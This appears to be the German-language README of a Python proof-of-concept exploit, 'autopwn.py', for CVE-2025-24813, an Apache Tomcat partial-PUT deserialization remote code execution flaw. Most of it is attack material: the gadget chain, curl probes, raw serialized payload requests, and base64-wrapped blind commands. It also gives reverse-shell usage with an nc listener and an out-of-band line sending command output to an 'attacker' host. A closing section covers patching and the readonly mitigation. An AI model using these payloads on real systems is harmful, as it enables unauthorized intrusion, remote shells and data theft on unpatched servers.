Python-PoC, das CVE-2025-24813 ausnutzt, eine Apache Tomcat Partial-PUT-Deserialisierungs-RCE. Erkennt automatisch verwundbare Varianten, unterstützt blinde Befehlsausführung und Reverse Shells.
Schweregrad: Kritisch (CVSS 9.8) Authentifizierung erforderlich: Keine Betroffen: Apache Tomcat 9.0.0.M1 – 9.0.98 / 10.1.0-M1 – 10.1.34 / 11.0.0-M1 – 11.0.2 Behoben in: Tomcat 9.0.99 / 10.1.35 / 11.0.3
Apache Tomcat unterstützt Partial PUT (Chunked-Upload via Content-Range).
Wenn ein Partial PUT eintrifft, legt Tomcat den Body in einer temporären Datei unter folgendem Pfad ab:
$CATALINA_HOME/work/…/<url-path-filename>
Wenn die Anwendung mit PersistentManager + FileStore in context.xml konfiguriert ist,
liest Tomcat automatisch *.session-Dateien aus demselben Arbeitsverzeichnis und
sie, um Sitzungen wiederherzustellen.
Kombiniert man diese beiden Verhaltensweisen:
PUT /<sid>.session → schreibt Java-serialisierte Payload nach work/<sid>.session
GET / Cookie: JSESSIONID=.<sid> → Tomcat lädt & deserialisiert die Datei → RCE
Der führende Punkt (.) im Cookie-Wert löst eine Session-Suche mit absolutem Pfad aus
(Variante B), was der Pfad ist, der die abgelegte Datei zuverlässig erreicht.
Dieses PoC verwendet CommonsCollections6 aus ysoserial,
welches auf Java 8–17 ohne @jdk.internal-Flags funktioniert und nicht von
sun.reflect.SerializationConstructorAccessorImpl abhängt.
ObjectInputStream.readObject()
└─ HashSet.readObject()
└─ TiedMapEntry.hashCode()
└─ LazyMap.get()
└─ ChainedTransformer.transform()
└─ InvokerTransformer → Runtime.exec(command)
curl -sI http://target:9090/ | grep -i server
# Look for: Apache-Coyote/1.1 or Apache Tomcat
curl -s -o /dev/null -w "%{http_code}" \
-X PUT "http://target:9090/test.session" \
-H "Content-Range: bytes 0-9/200" \
-H "Content-Type: application/octet-stream" \
--data-binary "AAAAAAAAAA"
# 201 Created = partial PUT enabled (vulnerable prerequisite met)
# 403/405 = partial PUT disabled (not vulnerable via this path)
python3 autopwn.py http://target:9090 --command "id"
# Vulnerable → one line shows GET=500 + "<<<< 500 = FIRED!"
# Not vuln → all lines show GET=200, no 500
[*] path=/{sid}.session PUT=201 cookie=JSESSIONID=pwn1 [A(no-dot)] GET=200
[*] path=/{sid}.session PUT=201 cookie=JSESSIONID=.pwn2 [B(dot-prefix)] GET=500 <<<< 500 = FIRED!
[*] path=/uploads/../sessions/{sid}.session PUT=409 cookie=JSESSIONID=pwn3 [A(no-dot)] GET=200
...
[+] Target is VULNERABLE! Winning variant: B(dot-prefix)
upload path : /{sid}.session
trigger : Cookie: JSESSIONID=.pwn2
| Status | Bedeutung |
|---|---|
| PUT 201 | Datei im Tomcat-Arbeitsverzeichnis abgelegt |
| PUT 409 | Pfad blockiert (Traversal abgelehnt) |
| GET 200 | Sitzung nicht gefunden / nicht deserialisiert |
| GET 500 | Deserialisierung ausgelöst → RCE |
Der Upload ist ein roher binärer Java-serialisierter Stream — keine URL-Kodierung. Anders als bei HTTP-Query-Parameter-Exploits geht die Payload im Request-Body via PUT, sodass es keine URL-Kodierungsschicht gibt, gegen die man ankämpfen muss:
PUT /{sid}.session HTTP/1.1
Content-Type: application/octet-stream
Content-Range: bytes 0-1274/1375
\xac\xed\x00\x05\x73\x72... (raw serialized bytes — CommonsCollections6)
Der Content-Range-Header signalisiert einen partiellen Upload; Tomcat schreibt den Body unverändert
auf die Festplatte und bewahrt dabei jedes Byte der serialisierten Payload.
pip install requests
# Java runtime in PATH
# ysoserial.jar in current directory (or pass --ysoserial <path>)
python3 autopwn.py http://192.168.61.148:9090 --command "id"
# Build base64-wrapped command (avoids shell-splitting in Runtime.exec)
CMD='id > /usr/local/tomcat/webapps/ROOT/idout.txt'
B64=$(echo -n "$CMD" | base64 -w0)
python3 autopwn.py http://192.168.61.148:9090 \
--command "bash -c {echo,$B64}|{base64,-d}|bash"
# Fetch the result
curl http://192.168.61.148:9090/idout.txt
# Terminal 1 — listener
nc -lvnp 4444
# Terminal 2 — fire (script auto-builds the base64 revshell payload)
python3 autopwn.py http://192.168.61.148:9090 \
--revshell --lhost 192.168.61.10 --lport 4444
Das Skript erkennt Variante A/B automatisch, stoppt nach dem ersten Treffer und gibt den erfolgreichen Pfad aus, sodass Sie genau wissen, was funktioniert hat.
positional arguments:
target Target base URL (e.g. http://192.168.61.148:9090)
options:
--command CMD Command to execute (blind mode, default: id)
--revshell Send reverse shell instead of blind command
--lhost LHOST Listener IP (required with --revshell)
--lport LPORT Listener port (required with --revshell)
--gadget GADGET ysoserial gadget chain (default: CommonsCollections6)
--ysoserial PATH Path to ysoserial jar (default: ysoserial.jar)
--sid SID Session ID prefix for upload filenames (default: pwn)
--no-ssl-verify Disable SSL certificate verification
CVE-2025-24813 ist blind — Runtime.exec() führt den Befehl aus, aber dessen stdout/stderr
werden verworfen; die HTTP-Antwort spiegelt nur wider, ob die Deserialisierung erfolgreich war (500)
oder nicht (200).
Drei Möglichkeiten, Ausgabe zu erhalten:
| Methode | Vorgehen |
|---|---|
| Webroot-Datei | Ausgabe in eine Datei in /…/webapps/ROOT/ umleiten, per HTTP abrufen |
| Reverse Shell | --revshell-Flag — interaktive Shell erhalten, beliebige Befehle live ausführen |
| DNS/OOB | `curl http://attacker/$(id |
| Branch | Verwundbar | Behoben |
|---|---|---|
| 9.x | 9.0.0.M1 – 9.0.98 | 9.0.99+ |
| 10.1.x | 10.1.0-M1 – 10.1.34 | 10.1.35+ |
| 11.x | 11.0.0-M1 – 11.0.2 | 11.0.3+ |
# Check installed version
$CATALINA_HOME/bin/catalina.sh version | grep "Server version"
Suchen Sie in $CATALINA_HOME/conf/web.xml den DefaultServlet-Init-Param und setzen Sie:
<init-param>
<param-name>readonly</param-name>
<param-value>true</param-value>
</init-param>
Oder deaktivieren Sie PersistentManager in context.xml, falls er nicht benötigt wird:
<!-- Remove or comment out: -->
<!-- <Manager className="org.apache.catalina.session.PersistentManager"> -->
<!-- <Store className="org.apache.catalina.session.FileStore"/> -->
<!-- </Manager> -->
# Partial PUT should now return 403 or 405
curl -s -o /dev/null -w "%{http_code}" \
-X PUT "http://target:9090/test.session" \
-H "Content-Range: bytes 0-9/200" \
-H "Content-Type: application/octet-stream" \
--data-binary "AAAAAAAAAA"
# Patched → 403 / 405
# Vulnerable → 201
# Re-run PoC — must not fire
python3 autopwn.py http://target:9090 --command "id"
# Patched → all GET=200, no 500
Nur für autorisierte Sicherheitstests und Bildungszwecke.